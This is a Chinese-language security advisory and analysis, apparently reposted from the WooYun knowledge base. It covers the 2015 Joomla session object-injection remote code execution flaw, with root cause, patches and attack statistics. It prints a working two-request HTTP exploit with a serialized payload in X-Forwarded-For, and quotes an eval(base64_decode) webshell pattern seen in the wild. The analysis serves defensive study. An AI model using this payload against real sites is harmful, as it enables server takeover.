Joomla 物件注入漏洞分析報告

wyzsk發表於2020-08-19
作者: 阿里雲安全 · 2015/12/16 16:05

Author:阿里雲安全攻防對抗團隊

近日,Joomla再曝高危0day漏洞,可進行遠端命令執行,阿里云云盾昨日已上線相應的攔截規則抵禦該漏洞。同時,對雲託管客戶已經做了電話通知和自動漏洞修復。統計資料顯示,截至16日凌晨,已有數百個惡意IP嘗試使用該漏洞對阿里雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的駭客在一小時內嘗試入侵超過1000個 Joomla 網站。

根據此次漏洞情況,Joomla 官方已緊急放出了3.4.6版本。joomla使用者除了儘快升級至最新版本,也可採用阿里雲安全團隊給出的更為完善的修復方案,對網站進行加固,詳情可參考:0x03漏洞修復。

0x00 漏洞介紹


昨日,Joomla 安全團隊緊急釋出了 Joomla 3.4.6 版本,修復了一個高危 0day 漏洞。該漏洞影響了 1.5 到 3.4.5 的所有版本,漏洞利用無須登入,直接在前臺即可執行任意PHP程式碼。

0x01 漏洞利用


將惡意程式碼放在 User-Agent 或 X-Forwarded-For 中傳送給網站,將網站返回的cookie值帶入第二個請求中,即可觸發漏洞。或是在第一個請求中指定cookie值,在第二次中帶上同樣cookie值也能觸發漏洞。

請求一:

#!bash
GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

請求二:

#!bash
GET / HTTP/1.1
Host: 127.0.0.1
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

如果執行成功,請求二的返回內容中會顯示phpinfo()的執行結果。

0x02 漏洞分析


libraries/joomla/session/session.php檔案中,joomla將HTTP_USER_AGENTHTTP_X_FORWARDED_FOR直接存入到了session中

#!php
……
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    $this->set('session.client.forwarded',$_SERVER['HTTP_X_FORWARDED_FOR']);
……
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
        $browser = $this->get('session.client.browser');
        if ($browser === null)
        {
            $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
        }
}

繼續跟進joomla對於session的處理方式,在 /libraries/joomla/session/storage.phpJSessionStorage 類中,利用session_set_save_handler重新實現了 session 儲存的read()和write()方法,從php手冊中得定義看到,read()、write()方法傳進和傳出的引數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP核心完成:

enter image description here

繼續跟入到read()和write()函式,程式碼位於libraries/joomla/session/storage目錄中,從所有session儲存引擎的實現程式碼中可以看到,joomla都沒有對 session 的value進行安全處理就進行了寫入操作。 預設情況下,joomla使用了資料庫引擎對 session 進行儲存,這也是本漏洞可以成功利用的條件之一,構造exp時候,利用 Mysql 的字元截斷特性,最終寫入到資料庫中一個被破壞的不合法的反序列化物件,當這個物件被執行read()讀取時候,因為截斷字元的關係, PHP核心(PHP <= 5.6.13)在解析session.client.forwarded後面字串時,由於長度Check不一致,導致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失敗的時候,會從之前的指標位置繼續開始下一輪key-value嘗試,在新一輪key-value嘗試中,PHP核心將攻擊者注入的"|"當成了分隔符,進行key-value解析,進行反序列化導致物件方法被執行。

漏洞的本質原因有兩個,一個是php核心的session解析器bug導致的,另一個是mysql資料庫的字元截斷特性。如果使用的session儲存引擎不存在 Mysql 這樣的字元截斷特性,此漏洞就無法復現。我們測試該漏洞時,將joomla配置檔案configuration.php中的$session_handler 配置為none,即使用檔案系統儲存session,發現漏洞無法成功利用。

0x03漏洞修復


Joomla 官方已經在昨天緊急放出了3.4.6版本。比對程式碼後發現,官方此次的升級補丁僅僅在 /libraries/joomla/session/session.php 中刪掉了將HTTP_USER_AGENT寫入SESSION變數中的程式碼,增加了對 HTTP_X_FORWARDED_FOR 獲取到IP的合法性驗證,將此次公開的exp中的利用點修復掉了。但官方沒有對JSessionStorage 類中處理session的不安全方式進行修復,因此這個修復方式存在被繞過的可能。只要攻擊者尋找到新的可控SESSION值的位置,就可用同樣的構造方法觸發漏洞。

下面給出更為完善的修復方案:

修改 Joomla 根目錄 configuration.php ,把 $session_handler 的值改為none,會將session儲存引擎設為檔案系統。 把 PHP 版本升到到 5.6.13 或更高的版本。

登入Joomla後臺把程式升級到 3.4.6 或更高的版本。

0x04 威脅現狀


統計資料顯示,截至16日凌晨,已有數百個惡意IP嘗試使用該漏洞對阿里雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的駭客在一小時內嘗試入侵超過1000個 Joomla 網站。

對攻擊者使用的攻擊payload分析,大部分攻擊者在第一個請求中都會插入類似 eval(base64_decode($_post[a])) 這樣的程式碼,在第二個請求中嘗試向網站根目錄寫入一句話木馬。如果攻擊成功,網站將會被攻擊者完全控制。也有部分攻擊者使用的是網上公開的漏洞檢測payload,如 phpinfo();md5(233333); ,這些程式碼一般不會對網站造成威脅。

相關連結:

https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html
https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html 
https://github.com/80vul/phpcodz/blob/master/research/pch-031.md
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章